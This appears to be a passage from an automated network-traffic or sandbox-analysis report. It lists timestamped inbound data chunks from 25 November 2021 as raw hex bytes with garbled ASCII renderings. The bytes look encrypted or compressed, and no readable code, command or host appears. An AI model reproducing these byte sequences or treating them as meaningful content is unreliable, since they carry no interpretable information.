6c d1 18 48 38 a3 ac d1 95 53 a5 a5 b9 c7 98 a7 33 dd 65 af a7 a1 c4 a4 d1 dd c2 b2 72 e4 a1 df 31 42 43 1d 1c 9d 8f a1 
b0 72 ed b7 8e 2e 93 16 55 d6 62 b3 df a2 a1 4c 99 33 50 d9 9a c6 13 74 72 4f c6 5d 4a 89 6c 84 90 d5 79 e2 fc 0c 47 a9 
15 17 49 4b 40 15 75 b9 e7 a3 0d 3f 90 38 a0 da 1f 6e cd 6d 3e 67 88 4c 05 c3 54 4d c6 f0 58 b6 e2 09 85 a6 6f 9d 25 49 
d6 e2 91 29 b0 62 74 74 ac 90 d7 a7 e3 50 fe 9e e5 2c d4 b3 7a 23 6d d2 c3 14 ed 2b 2b 3d e4 b6 7e f0 03 62 b8 85 5d 4d 
77 34 47 ff e5 3b cd c3 66 ac c3 b7 b2 85 c7 61 62 37 
Data Ascii:  KOxd~gCjFy{VJ}$D=*$x%^Wvi@UT`vbAGG:lH8S3er1BCr.UbL3PtrO]JlyGIK@u?8nm>gLTMXo%I)bttP,z#m+
+=~b]Mw4G;fab7

2021-11-25 16:27:48 UTC 874 IN Data Raw: d9 40 6c a4 ad 9b 51 92 8c cb 7a 6b 75 95 b4 39 ba 42 d7 2b 5f 4b 77 f3 35 39 82 68 f1 ae 06 9e df f2 bc 96 9f 
17 12 c9 c3 6c 16 ed b5 a4 b0 c4 54 9c ef d5 9d 45 b4 0e aa 4a 98 8f 0f 99 89 5b a5 ea 67 35 07 c0 80 0d 1c c5 94 0d 14 
74 4c e1 9e b6 5a ae 54 2d a5 9c c0 7b 5b 3a 6d 22 5a 90 4f c1 54 02 c4 09 42 cd 04 fb d7 73 34 8b 07 43 13 a7 bf a5 ee 
15 8f 6a e7 77 da d5 ab 01 3a d4 dc 5e 23 f6 7b 08 94 e2 38 93 dd 6d ec ec 1f 6e 81 60 90 31 3f 3c 4c d4 c4 8d 0d 18 78 
53 7f fa 87 ef e2 d9 29 6c 9c 08 d6 91 84 29 5e 0d c0 63 99 c2 6c 25 6f 70 17 48 bb e5 65 7e 0d 5f 06 69 97 ed c0 82 89 
e7 75 66 9e 76 eb 3b a1 b6 63 d5 3f 9b 50 6c ea 94 d4 b8 42 08 b9 cb 48 e8 a4 59 1e 53 8b 35 10 8d ff 19 36 18 dd ed ea 
23 47 99 d5 d0 15 02 bf 6a f9 d8 91 76 25 86 aa 81 0b 
Data Ascii: @lQzku9B+_Kw59hlTEJ[g5tLZT-{[:m"ZOTBs4Cjw:^#{8mn`1?<LxS)l)^cl%opHe~_iufv;c?PlBHYS56#Gjv%

2021-11-25 16:27:48 UTC 875 IN Data Raw: df ac 20 54 35 bb 93 01 83 f0 a8 d5 d2 78 a6 3b c3 08 7a d6 8b 5a ad 40 45 59 8d 8a a8 1c 71 ad 97 1c 09 7b 
30 9f de 43 cf b9 db 5b 7d ca 12 04 2b 27 20 ee ba bc a9 32 7e 35 b5 21 2d b8 06 eb 4b 87 9b 02 cb 2e 30 73 b5 da 70 35 
25 6c af 1a 81 84 c9 bf af 4c 2a 6e b4 e4 eb e5 18 31 a9 dc 37 0f b5 46 6a c7 8e 90 86 06 f8 9e 6c 81 32 e9 93 de 40 75 
ea d2 0d 46 65 7a a8 8a a2 4a 40 83 07 8a d2 f8 15 e7 30 33 2f fc 75 67 6c 97 23 a3 b8 1a 25 ab 00 bb fb d4 68 86 a0 6d 
cf a6 4a 57 77 8a 55 76 5f be be 39 d5 0d c5 5c 67 53 ab 22 b3 95 ee 8b eb ff e6 1d 56 d3 33 89 51 96 f6 8e d6 20 da a3 
b4 a4 f5 da ed a3 55 f8 80 02 96 d1 10 1b b7 d7 d6 60 26 0a a7 ed d1 24 ba f4 34 10 07 7a 02 be 76 0c db c3 ee d1 fe fb 
90 ac e3 8e f0 3a e0 c1 e4 6f f6 8f 8e f6 77 59 8e 37 a4 
Data Ascii:  T5x;zZ@EYq{0C[}+' 2~5!-K.0sp5%lL*n17Fjl2@uFezJ@03/ugl#%hmJWwUv_9\gS"V3Q U`&$4zv:owY7

2021-11-25 16:27:48 UTC 876 IN Data Raw: a6 7b d3 e0 fb 32 9f 5c 21 2f a8 a9 42 a5 1c a1 21 7e 69 61 2d 1d 13 42 46 ea 93 5b 98 d8 a4 26 e5 e1 ae 61 
11 9a 5d 10 1e 8b 2b 3b a3 f2 4e 72 38 19 38 4c 53 b8 c9 41 5d 1f 24 cc fd 06 16 18 8e 5d c0 80 1f 15 95 45 0b f1 65 04 
3a 97 5f a4 b8 e5 b4 34 90 c6 85 0d 0e 49 8e 4a 1f f0 4c a2 74 c0 28 92 b6 67 fb 1d 79 0f 76 08 0f 03 ce 2e 0d f8 1a 15 1f 
b5 65 89 dd 32 9c b9 ef 8c 23 57 df 73 1c 69 bd 90 1d e5 fb 9e a1 7f f0 30 b0 b8 f2 3b bf db 60 b8 3a de 88 6b d5 d6 77 b6 
7f d8 3b 3d 3c 5a 3f 38 ea 7b f1 24 bd c8 3a 14 f2 52 7c 41 10 1c fe 3e c9 c6 5e b8 ff f6 ed e1 d6 91 c8 c0 b0 f8 44 0e fe 8d
b2 f0 2f 98 07 5b 70 fb 50 0b 8e f6 df 1f 8a 8a 40 36 2d c5 7b a6 ed 95 9f 98 54 8a 5f df ec ff 0c 7d 8d cf 72 0c ca f8 66 6b 
67 ff 97 be 77 96 4c f2 6b aa 4f f7 74 
Data Ascii: {2\!/B!~ia-BF[&a]+;Nr88LSA]$]Ee:_4IJLt(gyv.e2#Wsi0;`:kw;=<Z?8{$:R|A>^D/[pP@6-{T_}rfkgwLkOt

2021-11-25 16:27:48 UTC 877 IN Data Raw: 8e c3 3c 34 30 42 58 b2 b5 05 db 4e 45 e8 6d d7 f2 1c a4 6b 02 ae 9a ce c9 0c df 2a 5e 93 c1 55 e9 75 da f1 
8b 4e dc ae 02 fa 4c e6 42 16 73 a6 76 8d 9b 79 77 19 d9 ec a5 3d 0e 27 8d 8c 61 30 96 cd 62 2a 08 d6 ae c9 5a 29 db 45
ef c7 1d bf ec 4c 54 c3 92 7a 7c 89 a6 85 a4 80 d6 56 a2 28 13 fb 04 96 0a cf b9 bd 82 0b 86 01 de 28 2f 32 2d 8a 14 f5 
ba 4c 23 25 56 5a a2 54 e8 2a 38 83 c7 54 5c c1 10 57 ff 6c 12 03 bf e7 af 42 0f 75 5c c0 6a d4 07 52 94 89 1c 56 db ce 
d2 71 da 2c 77 b1 23 b8 90 15 cc 5e 10 1a 9a 4d c2 ce e5 e4 dc 27 69 4a 49 fe 9a 53 44 d6 8d 49 0a 07 bd 03 54 4b a3 4c 
bc 1b 57 97 08 3e e3 67 5d 0a b4 c1 ee 90 47 94 88 66 19 f7 4e 2d d1 25 51 a4 9e 8a d1 68 20 a2 a7 1a 87 b4 65 75 c7 
51 41 2a 82 70 0c 3f 48 2e 03 02 2c 58 2b 8c 18 ab 34 76 7e 
Data Ascii: <40BXNEmk*^UuNLBsvyw='a0b*Z)ELTz|V((/2-L#%VZT*8T\WlBu\jRVq,w#^M'iJISDITKLW>g]GfN-%Qh euQ
A*p?H.,X+4v~

2021-11-25 16:27:48 UTC 879 IN Data Raw: 62 04 70 b7 5a cc b0 3c ec 36 37 76 5d 75 91 b4 bb 2c 2e b7 19 a0 ea 04 63 ca ab 2a 64 ba 87 cb 3f c1 40 ec 
7a e3 58 17 b6 b3 cf 07 e9 6c 36 a9 95 a2 f2 e5 7a 3e c6 ab d2 29 47 44 11 48 ed 1e 73 ed 79 1f fd 3d 3c 8f 7a e1 68 19 
b2 f3 48 98 da 7b af ad 2f 29 7c 12 f1 ae 44 d4 2b 7d 01 7d 0e 6f c2 bd f0 30 dc 0c b7 c3 77 a1 dc bb f7 a4 63 e5 80 c7 21 
0c 79 08 c2 50 05 50 0c f5 b0 87 62 a9 23 5e 48 91 8e aa be b7 e5 85 3c a8 55 ff d8 fb d7 70 0a 1c 66 36 af a4 57 00 06 
2f 53 d3 c9 23 cf c3 af e1 bf 50 9e 83 41 e2 a8 25 7d 97 f6 56 1b 0b 6f 0d ba c9 02 ce 75 c8 82 e0 f5 5a 09 f2 1a f4 96 ff 
b1 3f 7b e4 2a c2 30 5c be a3 b4 da 78 f1 94 34 6c ad 18 68 87 07 1c 8b bc aa 98 27 9e 28 f5 3b f4 c1 33 fc 66 f4 2a 50 74 
c7 ad f2 32 2e b5 a8 7a e9 d8 03 d1 35 e3 3e 63 
Data Ascii: bpZ<67v]u,.c*d?@zXl6z>)GDHsy=<zhH{/)|D+}}o0wc!yPPb#^H<Upf6W/S#PA%}VouZ?{*0\x4lh'(;3f*Pt2.z5>c

2021-11-25 16:27:48 UTC 880 IN Data Raw: e9 d0 ca bf 3e 23 26 c4 ca 10 fd 03 1c 02 ad b1 f0 0d 5a 12 5d 31 dd c7 0d 3e d1 87 42 6d e7 df 47 97 5b f3 1a 
36 8a 5e 84 2b e7 84 8e 91 49 8f 7f 83 8c b1 1c 15 6f da 27 ac 07 be 32 cf 26 f3 c2 4c 8d 58 87 13 34 ce 1f 63 58 6e 36 d4 
db 25 13 7c 19 36 c8 f6 74 9a 80 f0 59 25 06 48 08 6f b8 5e cf 2a 5b 99 5a 48 be 27 b8 ee a1 82 32 2a ef ef bf 81 c5 58 eb 
cc 2f bb 82 a8 e9 1d 09 f2 aa b6 5b c6 78 0b c1 25 6b a9 ef 50 00 ef 13 93 47 09 53 30 78 9d e9 27 fc 64 31 2c da 1e 7a 
04 27 7d d4 84 4c d1 f0 f6 e2 02 99 a9 e5 cb ce d6 ca 3e 8b f3 82 8b 62 81 1b 44 03 7e d7 8a a5 e2 4a 22 47 13 b4 83 92 
31 ed 83 15 04 e2 d6 88 c5 4f 22 73 49 81 c0 12 25 61 d3 76 96 10 d7 e5 2c 74 a1 ed 63 f5 fd bf 3e cc 8b f0 49 60 70 5c 
e0 f8 42 36 34 45 f0 a7 4f af 7c c1 ed b6 e9 6e 
Data Ascii: >#&Z]1>BmG[6^+Io'2&LX4cXn6%|6tY%Ho^*[ZH'2*X/[x%kPGS0x'd1,z'}L>bD~J"G1O"sI%av,tc>I`p\B64EO|n

2021-11-25 16:27:48 UTC 881 IN Data Raw: 3c 9d 20 43 a8 8f 13 01 3a 55 d2 f5 23 a1 ad 8e 5f 3d 8c e5 72 c6 c1 ae 63 cb e2 80 88 ca e1 09 dd 88 69 25 
c9 7e cf e5 29 d0 dd 41 e7 68 0c 1a fa e6 6c 96 ac 5e ef 30 f1 87 60 31 6e 94 bb 4c 48 52 10 29 27 f0 fa 88 5d a4 a3 d6 
27 8f 70 4f e3 cf fa 0e 89 88 04 65 34 89 72 38 b2 2c c2 97 3d 38 bf 8c da 8c 99 70 61 0f 55 bc 07 c9 c5 d6 cd cc f7 fe e5 
b5 47 a1 97 a2 40 06 cc b1 8c d2 fa 4d 4f 38 a1 1c 6c 7a 85 b7 99 11 57 bd b4 ce 8e 13 18 65 34 9c 87 15 c8 83 6d 08 97 
d9 40 f9 b2 65 51 6f 90 ad 4d 84 f7 5a bb 9d 91 f7 1a e4 82 bd 6b 72 9c 9d c8 5d a5 84 07 64 53 a8 e8 8c ec a9 e5 b3 43 
dc 41 5f 92 51 15 6a 53 b7 64 11 4a 66 76 6c cd cf c9 62 20 14 62 b0 8b 52 41 6c 83 84 aa 3d 0a 73 ff e6 96 ed 90 99 f0 
87 05 06 9a 46 33 54 a9 ea 65 b9 71 9e 72 5a df 73 e4 
Data Ascii: < C:U#_=rci%~)Ahl^0`1nLHR)']'pOe4r8,=8paUG@MO8lzWe4m@eQoMZkr]dSCA_QjSdJfvlb bRAl=sF3TeqrZs

2021-11-25 16:27:48 UTC 882 IN Data Raw: 5e a4 06 b4 16 5c d2 72 d3 dd 3b bb 60 e1 ea da 9a 4c ba a9 6c eb d4 04 f2 18 ec 2d 76 cb 0c d2 68 dc 62 d9 
85 99 15 ca 50 7c 0a 79 c1 2d 58 db 04 c4 fd dd 5d 6f f1 dd 8a 17 1e 8b 2a 4f 02 32 e7 94 2e 10 77 72 48 31 8c 12 bf c7 
d0 75 c6 a2 a9 21 9f 51 e3 1b 7b 17 f0 3b 8f ad 49 3f 0b 65 14 d0 7e ec 30 e2 e5 a4 86 6a 90 92 ae 4b 50 64 e3 97 23 e5 
9b db a3 f8 02 23 7b 1a 3a 09 34 5e 82 69 41 ee 88 a1 c3 eb 01 b4 f8 ae 9e b9 e3 4a ae 6c ea 8a f2 4c 2a ca 77 37 3b 9b 
db eb 3b fb 3f 78 78 bd 6b 46 9e dc 74 07 9c 14 1d a7 c0 80 d4 f1 be b3 52 34 3a ca f4 30 5e 44 ad 22 d0 02 94 6e 86 02 
43 1d 83 22 13 91 0c 0f 25 a4 4f ee 10 9a 35 59 ae cc bb e4 7c ab 15 16 be c3 31 c4 45 16 52 3c cc 3b e9 a2 83 41 2f 6b 
f6 94 38 4a 67 b2 51 ea b7 b4 14 0b 1b 46 d1 1a 21 5f 1e 
Data Ascii: ^\r;`Ll-vhbP|y-X]o*O2.wrH1u!Q{;I?e~0jKPd##{:4^iAJlL*w7;;?xxkFtR4:0^D"nC"%O5Y|1ER<;A/k8JgQF!_

2021-11-25 16:27:48 UTC 884 IN Data Raw: 68 3f 6d bf 27 9a 78 2f 28 61 c2 81 4f 3a ef 39 91 4c 18 70 49 e7 7d c7 df ec 9e 4f 72 8a c1 c6 3a 7b 16 17 30 
2e c3 d5 bf f5 7b 68 47 1e 8d 10 b6 ad 33 25 24 c7 59 e4 8f 18 3a a6 fc c3 e0 39 a7 1c e0 b1 e3 53 f2 f6 88 57 08 7c 03 55
61 ac b2 17 cf de 87 e7 70 d6 6a da ea f5 bb f0 f0 02 12 3e a8 08 09 cf 1e 48 45 71 8f 20 dd 95 f3 fe 16 c4 25 3c da f2 1b 
6c 85 3d c5 97 d7 a0 fe 2a f2 ce 26 39 ca ef 18 46 c9 12 8d 74 60 9d d0 91 35 5f 70 93 ce 3b 15 76 0b 58 48 19 0c 9c d8 
86 89 1d fb 8b 45 f9 02 9e 92 99 7a bc 61 d9 a5 70 10 7c 10 36 90 f4 ee ef cb fe 39 08 22 67 c2 92 e0 0c da d3 bf 10 4f 17 
f8 e4 ce 86 a6 c4 9a c0 f5 fa 12 8a a7 7e 20 c4 c4 0d 67 1a 27 d1 25 43 d5 e5 df 10 85 95 92 33 9e 7d 85 67 54 ba 35 c3 
b0 a0 b8 ff b0 f9 b8 4a 8a 73 0c 89 c4 36 c6 
Data Ascii: h?m'x/(aO:9LpI}Or:{0.{hG3%$Y:9SW|Uapj>HEq %<l=*&9Ft`5_p;vXHEzap|69"gO~ g'%C3}gT5Js6

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 885 IN Data Raw: 30 8e 10 d8 47 2b 8c 1f 27 05 02 97 14 89 c6 61 de 4e db f9 f3 17 cf 12 52 13 99 87 cf 82 47 52 c0 ff 63 59 7f 
8c 56 7b 61 92 44 af f4 8b cc 2f e1 2f 61 1a fe 1c 7e 0c ff 19 fe 10 fe 1a fe 14 fe 26 c9 9c 79 2f a2 2b 98 b4 2b 1d ea e0 78 
f5 b5 72 12 56 c9 74 86 5c b4 5f c3 a6 a2 a4 9d eb 02 af d6 eb e0 80 fc b3 b0 04 b1 3f 93 7d ee 12 6c 41 fa 2e c1 05 1d df 
5a b2 90 f3 74 32 59 96 b2 03 2b ec 73 69 02 15 da e9 2e e7 d3 b3 65 ad c1 ef 0d 75 d0 89 fc 11 29 c8 de d0 9d a0 04 e1 
c6 7b 6d c3 05 b2 46 31 ab 5c 09 38 e8 c8 2d 16 a3 d5 86 da bf df 3d 16 f5 30 a9 d9 e9 10 3b 90 aa 27 6b e6 11 b2 29 d2 
6d 81 7b 12 f8 43 59 71 e6 41 e8 2b be 81 ac 4d 31 06 32 0b b1 33 74 56 35 13 10 03 48 50 f0 db 30 15 40 1c 89 01 c4 11 
84 85 6e 2c 5c f8 b0 1f 32 54 b1 7f a2 1a 81 
Data Ascii: 0G+'aNRGRcYV{aD//a~&y/++xrVt\_?}lA.Zt2Y+si.eu){mF1\8-=0;'k)m{CYqA+M123tV5HP0@n,\2T

2021-11-25 16:27:48 UTC 886 IN Data Raw: b3 74 f5 f5 06 bf 6e 40 05 52 f3 01 f9 7b e1 df e8 46 45 70 f8 5f 02 c3 2e 6e 9d 4e 24 8d fa 20 2b a3 6e 18 b7 
ce 5d 04 39 72 ca be e8 a5 7d 52 23 67 e2 7d 4a aa 0e 63 ec ed 7b e7 db 1d 36 99 7b d1 9d 76 a4 84 65 7c b7 17 8d 96 
45 ac 91 69 37 d5 81 ea 12 af 28 d5 97 6d 82 b4 61 90 5f 64 ec 60 2e a6 c4 30 3f 7b 47 d7 f3 96 db 31 ae d5 c4 40 e8 dc 
47 8e 07 07 85 3d 43 7e 40 f9 c3 98 76 63 d2 5d 24 a1 b2 0e 18 df fc c3 7a 9b 75 55 01 91 fe c9 41 3d 19 2a 8f 8d ec c0 bf 
08 d6 8d 76 68 e3 8b ea ca 7b cd 7d d7 1d f5 91 c7 23 e7 ef ab 60 58 f5 b7 c2 cc 78 09 c7 93 ac ff 24 94 2a b6 4a dd 3a 
62 bc f3 c0 b8 74 74 55 75 a7 c9 2b ec 96 d8 4f 98 bc f2 ec b6 bd 25 cd 3b f5 04 15 bb 44 9e e5 d7 70 ae 09 37 82 e0 b9 
f9 8c 28 98 71 b3 52 f3 e9 d3 9f bb e3 04 a3 22 8d 12 
Data Ascii: tn@R{FEp_.nN$ +n]9r}R#g}Jc{6{ve|Ei7(ma_d`.0?{G1@G=C~@vc]$zuUA=*vh{}#`Xx$*J:bttUu+O%;Dp7(qR"

2021-11-25 16:27:48 UTC 888 IN Data Raw: de 26 8d 99 62 e9 95 23 5a e5 83 d2 4f 43 9d cc df 06 56 3f 2c d8 cc 0d 97 2d 50 cf 2c 13 33 cb 9c 0c 46 d4 1d 
f4 d2 02 c6 11 56 81 cd c2 b8 65 a6 28 e4 bb b0 51 d6 79 6c df 75 33 3b 56 96 6e 62 87 80 29 b9 31 02 78 78 b8 ba 90 36 
8b df 3a c4 d0 dd 1c ca 4e 2b 77 d4 56 3e a6 df 5c fa e6 7c 3a bd fd 85 df 51 43 2d c0 78 8d 9a 8c 81 a6 4a bf b9 aa 23 ce 
5a 3d a8 02 38 b8 d5 a1 a3 3c 2e 51 0c 1f 57 8f 0a 6d fa 60 23 a8 b8 c7 da 7a b2 c8 b1 b6 ac ce 9a 04 2d b5 ac 82 f9 fb 
31 62 e4 54 2e 5b ca 26 f0 27 83 54 85 01 ed 23 ba 92 a3 4b db 37 1c 72 ad de f0 62 4a 68 f7 c4 68 b7 5a 24 b6 7d ae 65 
bd ab 1b dc 5a 3d 7b 8f 11 ee 29 1f ab aa 4a 67 5f 41 fb 2c c3 63 bb 38 a3 ba 5c 1d a4 42 26 95 76 c4 71 b5 c7 c6 5a 2b 
10 f8 d7 88 34 77 20 d4 18 77 e2 6a bf c1 c3 b7 40 
Data Ascii: &b#ZOCV?,-P,3FVe(Qylu3;Vnb)1xx6:N+wV>\|:QC-xJ#Z=8<.QWm`#z-1bT.[&'T#K7rbJhhZ$}eZ={)Jg_A,c
8\B&vqZ+4w wj@

2021-11-25 16:27:48 UTC 889 IN Data Raw: 01 23 3c f5 2f 68 68 8b a2 56 d6 19 d3 2c b7 d2 b2 c5 31 e0 c3 56 75 99 b4 18 30 79 6b 06 5b 4f 32 6e 55 79 
ab c6 41 99 1d 6f 0a 12 24 c3 10 16 ed 2d 5b 66 bb fc 80 e2 5b cb a6 f8 41 d7 e3 1c 70 ca a2 f1 e8 b8 7e 89 db 51 d5 a1 
d8 14 a7 52 9d 06 34 c1 8f 93 c1 20 87 6d 0d cd 12 14 c2 8c 30 ba c5 75 8a be e2 79 95 e3 81 52 1a d6 1b 16 2c a6 ac 95 
84 3a 7a b1 be e3 30 bb 33 f6 84 76 cc c9 04 06 6d 3e ba c4 03 2f fb c5 6c 01 6b f3 7e 49 80 97 4c b9 89 d3 1e ea 4d 4a 
4b 25 f8 45 75 bd ba 25 49 9a 79 2f b8 e4 d5 90 0d 37 02 33 03 17 c4 4e 1d 4e 90 94 03 0a dc 4c a1 e7 25 7c 42 de 78 ea 
6b 1b 99 cd c8 e4 70 53 78 27 e6 69 68 d4 36 cf ea f5 09 d6 58 2f a3 a1 fe 93 c8 21 2e 36 8a 90 56 03 e4 e6 6e e1 de ae 
d4 44 5a 09 46 c0 98 87 9a 13 3f 18 d6 5a ac 5d e1 f6 1b 
Data Ascii: #</hhV,1Vu0yk[O2nUyAo$-[f[Ap~QR4 m0uyR,:z03vm>/lk~ILMJK%Eu%Iy/73NNL%|BxkpSx'ih6X/!.6VnDZF?Z]

2021-11-25 16:27:48 UTC 890 IN Data Raw: 50 05 10 22 3f aa 6a 6b 0b 2f 5e 73 1e 0f 45 55 ff f4 69 b6 a6 0d b2 58 86 3d 31 cd 4b e6 d5 d8 d8 d8 3e 94 3e 
98 69 50 db c8 e5 89 c2 af ed f2 f2 48 91 06 8b 4c b4 48 1b 35 82 bf 5e d1 2e 0c 84 3e 3f 13 e4 cd 1b 87 61 8d 2b c4 74 
35 0e bb da 62 f8 8a 0d 37 cc ed 8d c8 3c e3 fa 5c 93 21 99 73 a8 07 00 d5 76 bd c0 69 dd c4 f6 26 e5 ff 8c 77 e6 03 bf 5a 
ab 53 3b f4 e5 75 54 a3 78 de 38 6d 1f 95 36 52 e6 45 53 ed 5a 47 42 f5 91 3a 09 af b1 f0 5a a3 14 1e 24 45 54 6f c2 a0 
58 b3 1b 00 04 45 7a 18 7d 7b 2f 4e 48 2d 15 db 52 4a 61 f0 26 fe 32 c6 c0 2b 63 66 b2 16 33 47 9a 01 d3 7f 38 8a ac 67 
37 13 91 65 08 d7 90 4d a2 a2 b3 ea 68 f1 d7 b6 ad 94 6d a3 78 27 c6 ce a5 89 55 cc 5f e0 4d 02 d5 27 ac 55 e3 7c fa b6 
88 2f 90 a4 de 16 f9 94 0b a8 be b8 7e d3 c9 0d 43 
Data Ascii: P"?jk/^sEUiX=1K>>iPHLH5^.>?a+t5b7<\!svi&wZS;uTx8m6RESZGB:Z$EToXEz}{/NH-RJa&2+cf3G8g7eMhm
x'U_M'U|/~C

2021-11-25 16:27:48 UTC 891 IN Data Raw: 73 3a 82 21 33 a1 4f 7a d1 33 0d cd c6 64 66 c7 49 f2 73 1d f2 8b 60 95 76 6b 63 8a eb 8b 7c 35 2c c5 30 6c 
d8 f7 b5 a9 32 83 2b 99 9d 92 a7 22 8c ab 8d ac c9 68 d5 16 2e e0 69 1d 7f bd b7 d9 6c 35 c9 6d 27 47 fe b6 40 37 1b ca 
42 a9 2a e3 8b f4 c5 ab c1 67 15 85 6e 6d 8b d4 84 a6 c1 9b 20 aa 16 92 1c 01 6b c3 ae 6b 81 36 c1 a1 8c 65 15 a2 47 75 
7b 83 81 47 26 b6 6a 30 63 f0 fd fa 26 43 be 9d 15 03 81 b5 dc 58 6c 40 da 06 66 42 27 b9 5a a0 b2 5d d9 8c d0 66 93 b7 
04 50 6d d3 50 de df f5 e8 69 3c 61 18 13 6b 5b 04 7c bb f6 c0 d4 16 1f ae db 8a 33 52 75 21 d4 9f 1d e9 fb d9 f9 91 b7 05 
c6 19 b2 21 89 1b cc 92 2c e9 d5 c3 b1 96 79 2b 25 b7 99 6c 96 82 aa 3d 5b aa fa bd 2e 4d 8d 67 4c 63 4b cc 1b 34 18 a7 
86 32 95 02 ad e7 75 34 7a 9f b3 a7 51 13 9c fe b5 1b 
Data Ascii: s:!3Oz3dfIs`vkc|5,0l2+"h.il5m'G@7B*gnm kk6eGu{G&j0c&CXl@fB'Z]fPmPi<ak[|3Ru!!,y+%l=[.MgLcK42u4zQ

2021-11-25 16:27:48 UTC 893 IN Data Raw: 3f 3c 0d b4 2e 12 13 3f 72 ba b6 ce 3e ef 60 44 a3 e9 c0 18 12 e9 55 05 df cf be d4 2e 66 28 cb 42 15 23 94 e1 
1c ca 1c ba a3 fd 68 7a c3 b7 90 f1 6f 14 90 e6 ad 93 16 3a 0c f6 a9 c6 b2 3e 17 29 08 6e 9c 22 7a 3b 05 4e 0f e2 fd 68 b0 
3f 9f de fc 54 0e 94 28 0d e0 71 b3 06 8b 71 c3 06 5f 16 4d 1a 34 eb 40 33 ea 1b bc da ac 97 5f a2 46 6f d7 61 48 22 ec 78
a4 65 f1 d0 0b ff b8 76 06 e1 51 45 23 bc 57 5d 05 56 01 a0 aa 44 ab a2 79 59 01 d5 d8 b8 2f bb a0 f8 a3 2c 1c e8 95 64 
fb bf 5f 07 53 d3 a8 e1 d1 5a 48 0a b3 ce 4d 69 ad 1d 43 ac 47 67 65 28 b1 6e f7 f3 69 e3 c6 3d af 11 58 3c ca 65 88 6b 60 
f9 69 5c 52 5a 7a d8 b0 bf 6b 74 b2 78 c5 a9 09 b3 19 14 7c 22 be d4 15 88 d5 31 b3 3b 53 0f 68 b2 2a a9 1d a0 e0 64 6e 
8b 98 c1 a9 26 61 53 39 da 1f 87 8b 05 1d 84 
Data Ascii: ?<.?r>`DU.f(B#hzo:>)n"z;Nh?T(qq_M4@3_FoaH"xevQE#W]VDyY/,d_SZHMiCGge(ni=X<ek`i\RZzktx|"1;
Sh*dn&aS9

2021-11-25 16:27:48 UTC 894 IN Data Raw: 0a 5c 4d d8 a1 a1 e7 0c d1 6f 15 b1 04 61 4c 4b ce a7 65 94 4c fb fd 3a 47 4b d5 83 d5 ec 0c c3 2a 98 4c 07 29 
27 0c 99 48 dd 16 ec 26 47 46 d6 e2 45 7a ea 09 5e 55 1f f6 59 05 b4 ea 54 37 be 20 d7 14 4a ab 0c 0c 8e a3 d1 87 69 42 
4b 6d 20 06 52 9a 9d 10 b8 01 07 0d 92 b6 29 37 b7 04 32 cb 94 2d 53 59 0e 73 1d 01 d8 0e c0 da 9c 5c 5b 46 b7 4b a3 
09 64 79 f9 ef 3d 49 6e aa c7 b6 2d c0 9b 41 2e e3 d5 f6 68 ae 05 7a 1b 52 bd 11 dc a6 5c de 8a 8c 6f 8d e2 12 c8 35 0e 
ad dd 58 6e 0c 66 75 3b 52 53 0a 78 fd 21 d8 0e d8 5a e4 96 9d b7 bc 0e df 13 e7 7d 03 df c2 08 a3 11 37 37 83 90 25 a2 
c1 d1 a6 eb b2 6c 9b 66 7a 8b f0 34 46 6c 93 be 2d fa 10 95 dd 6d 3e ee db 25 6e 9b ae 43 11 3c f3 0e 83 7b 13 cf 2d 58 
df ed 83 2d e4 cf 96 a8 dd be a3 50 97 07 9b 4b f0 56 48 
Data Ascii: \MoaLKeL:GK*L)'H&GFEz^UYT7 JiBKm R)72-SYs\[FKdy=In-A.hzR\o5Xnfu;RSx!Z}77%lfz4Fl-m>%nC<{-X-
PKVH

2021-11-25 16:27:48 UTC 895 IN Data Raw: 25 ce 85 52 00 a4 a5 11 b9 06 4c 6b c9 6a 81 32 2a fa 7a 55 89 df d7 22 b9 69 21 a6 29 dc 58 1b 41 f1 38 6e 
15 4d 9d 63 26 60 f6 fe 7d 13 44 ca 98 d5 1b a9 a2 da cd b5 b1 9b 6b 73 cb cb c5 b6 82 ac 78 14 ef 0d 65 ad d3 5a b6 31 
a4 ca 2e cd 46 a3 5b 58 a4 ba 36 25 ca 67 5b ca 76 54 6c 0d 4d f1 a8 de 03 b2 ea 43 6c b6 31 98 72 33 4d a3 91 34 97 df 
16 d3 60 d2 d8 0d 3c cf ba 70 8b 38 66 30 00 31 f5 16 46 eb 27 9e ed df cc e9 6c 66 f2 cb 1b 1e e8 5c 88 88 cd 24 3a c0 
05 9a 69 e9 39 d4 a9 4c 95 11 bd f9 c9 ca a5 94 c2 c3 d2 32 85 aa c6 fa fe 99 fa 6f d7 fa 48 41 15 38 ee e9 25 67 b2 d5 7e 
5b 22 af db 4a cc a1 86 af 6f 38 f6 79 80 85 47 53 f2 f9 7a 58 13 a2 b2 f2 6d 5a 32 34 1c 09 59 00 30 75 b4 7f aa 9c 5d cd 
44 b3 18 72 72 ed d3 c9 35 5d fc 94 4e b6 d1 74 92 
Data Ascii: %RLkj2*zU"i!)XA8nMc&`}DksxeZ1.F[X6%g[vTlMCl1r3M4`<p8f01F'lf\$:i9L2oHA8%g~["Jo8yGSzXmZ24Y
0u]Drr5]Nt

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 896 IN Data Raw: 3d 81 c5 cf 61 f1 57 29 8e 0f 89 ac 5e d9 5e ca 63 90 3a da a1 41 70 12 d1 c5 c2 c6 e7 2b 85 b0 8f 25 8d e6 e1 
78 7a 1d 9a db 7d c2 fe 08 22 d2 56 08 c7 4f 90 c1 58 4a 9a 92 7b 8e f2 db 9d 80 22 71 7a be 8a 08 da 48 92 d4 db 8e 7e 
c9 5b 2a 7d 9f 32 fe c2 2c 59 2e 41 c2 19 9f 3b 0f 1e cc e6 21 16 89 06 52 f8 69 27 98 8e df 40 40 c0 a2 83 e5 72 e7 75 4f 
bf e5 26 5d c1 fe 3f 78 a0 3e 7b 8a 93 db 6d c3 38 d9 4e cf 73 5f c3 44 52 50 c0 83 55 7e da 0f c5 b4 7f ca ff f6 9e f1 bf e9 
0b e2 c1 1d 9f 75 6c 62 fa c8 6d 3e fb e4 64 e4 bd 4d 1a 3d 4b 1a c5 53 a5 49 3c c5 06 30 8f 33 af ff 5b 9f b0 5e 87 1f 16 
b2 60 ac f2 41 a8 d4 6b 7c 67 e0 da 41 32 48 a0 d9 2c 87 69 14 db d7 6f 92 31 be a7 8c 8a f6 6a f6 3e 68 89 4f 40 77 87 
c6 f1 dc b6 7c bc 0f 20 06 a0 00 40 00 38 
